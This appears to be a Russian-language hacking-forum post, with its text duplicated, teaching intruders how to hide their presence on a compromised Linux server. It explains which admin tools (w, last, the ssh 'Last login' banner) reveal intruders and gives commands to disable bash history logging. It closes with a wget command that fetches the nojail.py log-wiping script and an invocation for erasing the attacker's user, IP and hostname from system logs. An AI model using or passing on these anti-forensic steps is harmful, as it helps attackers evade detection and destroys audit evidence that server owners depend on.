- Регистрация
- 12.01.18
- Сообщения
- 1.064
- Реакции
- 189
- Репутация
- 10
Обратите внимание, если вы хотите провести сделку с данным пользователем, на то, что он заблокирован!
Обязательно используйте услуги гаранта и не переводите денежные средства данному пользователю первым.
В статье речь пойдет о сокрытии своего присутствия на чужих серверах ОС семейства Linux. Если вам удалось каким либо образом получить доступ к чужому серверу, вам бы наверное хотелось продлить немного свою жизнь и присутствие на нем. В этой статье не пойдет речь о способах закрепления в системе, здесь я всего лишь постараюсь осветить элементарные меры предосторожности при работе с сервером, чтобы зашедший на хост после вас администратор не заметил что то неладное или какие то подозрительные следы и активность.
Первым делом хотелось бы обсудить консольные команды, с помощью которых можно узнать об удаленных сеансах и подключениях к серверу.
"w" - unix-утилита, показывающая информацию о работающих в данный момент на машине пользователях и о их процессах. Для каждого пользователя выводятся следующие записи: регистрационное имя, название терминала, удалённая машина, время регистрации в системе, время простоя, JCPU, PCPU и командную строку его текущего процесса.
Видим, что пользователь root на данный момент подключен к нашему хосту и ему доступен bash терминал.
Если утилита “w” показывает текущих пользователей в системе, а мы хотим узнать список всех когда-либо подключившихся пользователей, то на этот случай существует утилита "last".
"last" - unix-утилита, отображающая список последних терминальных сессий с выборкой по пользователю или терминалу. Все события при этом упорядочены по времени.
Существуют утилиты "who" и "lastlog", они похожи с некоторыми ограничениями на представленные, поэтому их рассмотрение мы оставим.
Также не стоит забывать немало важный факт, что удаленные администраторы, при последующих своих подключениях к серверам могут обратить свое внимание на приветствие утилиты ssh и поле “Last login:”, в котором отображается время и IP адрес последнего внешнего подключения к серверу и если они будут отличаться от привычных администратору, то вам не избежать проверки или отката используемой вами системы.
Все события по удаленным подключениям находятся в системных логах и чистить их вручную довольно не удобно. Поэтому ниже мы рассмотрим инструмент, позволяющий это делать с помощью скриптов.
Мы рассмотрели события, связанные с удаленным подключением, но что касается выполнения команд и как не оставлять их факта выполнения в системном логе? Любой администратор подключившись к системе и выполнив команду "history" может увидеть, что с его сервера происходят какие то аномальные действия, например запуск утилит для сканирования внешних узлов сети Интернет. Это вызовет у него массу негодования и он немедленно начнет расследование и первым делом сменит свой пароль к хосту или установит соединение с сервером только через SSH Key.
Опытные пользователи, возможно, знают, что история запущенных команд сохраняется в файле ~/.bash_history. Перечислим некоторые способы, чтобы избежать их логирования:
Первый способ - просто набирайте перед каждой командой пробел.
– тогда команда не попадет ~/.bash_history
Второй – после подключения к серверу и до ввода своих команд, наберите:
Третий – если вы забыли выполнить второй пункт, то выполните:
Тогда все команды введенные в рамках вашей сессии не попадут в ~/.bash_history
И наконец, как я и обещал, представляю вашему вниманию скрипт, который выполнит за вас всю грязную работу и сотрет все ваши следы с системы. Для того чтобы им воспользоваться достаточно выполнить следующее:
И запустить с нужными параметрами, описание которых вы найдете в
После чего наша активность удалилась из всех файлов логов
Первым делом хотелось бы обсудить консольные команды, с помощью которых можно узнать об удаленных сеансах и подключениях к серверу.
"w" - unix-утилита, показывающая информацию о работающих в данный момент на машине пользователях и о их процессах. Для каждого пользователя выводятся следующие записи: регистрационное имя, название терминала, удалённая машина, время регистрации в системе, время простоя, JCPU, PCPU и командную строку его текущего процесса.
You must be registered for see images attach
Видим, что пользователь root на данный момент подключен к нашему хосту и ему доступен bash терминал.
Если утилита “w” показывает текущих пользователей в системе, а мы хотим узнать список всех когда-либо подключившихся пользователей, то на этот случай существует утилита "last".
"last" - unix-утилита, отображающая список последних терминальных сессий с выборкой по пользователю или терминалу. Все события при этом упорядочены по времени.
You must be registered for see images attach
Существуют утилиты "who" и "lastlog", они похожи с некоторыми ограничениями на представленные, поэтому их рассмотрение мы оставим.
Также не стоит забывать немало важный факт, что удаленные администраторы, при последующих своих подключениях к серверам могут обратить свое внимание на приветствие утилиты ssh и поле “Last login:”, в котором отображается время и IP адрес последнего внешнего подключения к серверу и если они будут отличаться от привычных администратору, то вам не избежать проверки или отката используемой вами системы.
You must be registered for see images attach
Все события по удаленным подключениям находятся в системных логах и чистить их вручную довольно не удобно. Поэтому ниже мы рассмотрим инструмент, позволяющий это делать с помощью скриптов.
Мы рассмотрели события, связанные с удаленным подключением, но что касается выполнения команд и как не оставлять их факта выполнения в системном логе? Любой администратор подключившись к системе и выполнив команду "history" может увидеть, что с его сервера происходят какие то аномальные действия, например запуск утилит для сканирования внешних узлов сети Интернет. Это вызовет у него массу негодования и он немедленно начнет расследование и первым делом сменит свой пароль к хосту или установит соединение с сервером только через SSH Key.
Опытные пользователи, возможно, знают, что история запущенных команд сохраняется в файле ~/.bash_history. Перечислим некоторые способы, чтобы избежать их логирования:
Первый способ - просто набирайте перед каждой командой пробел.
Код:
[space][command]
Второй – после подключения к серверу и до ввода своих команд, наберите:
Код:
export HISTFILE=/dev/null
Код:
unset HISTFILE
unset SAVEHIST
И наконец, как я и обещал, представляю вашему вниманию скрипт, который выполнит за вас всю грязную работу и сотрет все ваши следы с системы. Для того чтобы им воспользоваться достаточно выполнить следующее:
Код:
wget https://raw.githubusercontent.com/JusticeRage/freedomfighting/master/nojail.py
python nojail.py --user [пользователь от которого вы подключались] --ip [с которого вы подкючались] --hostname [имя хоста с которым вы работали]
You must be registered for see links
You must be registered for see images attach
После чего наша активность удалилась из всех файлов логов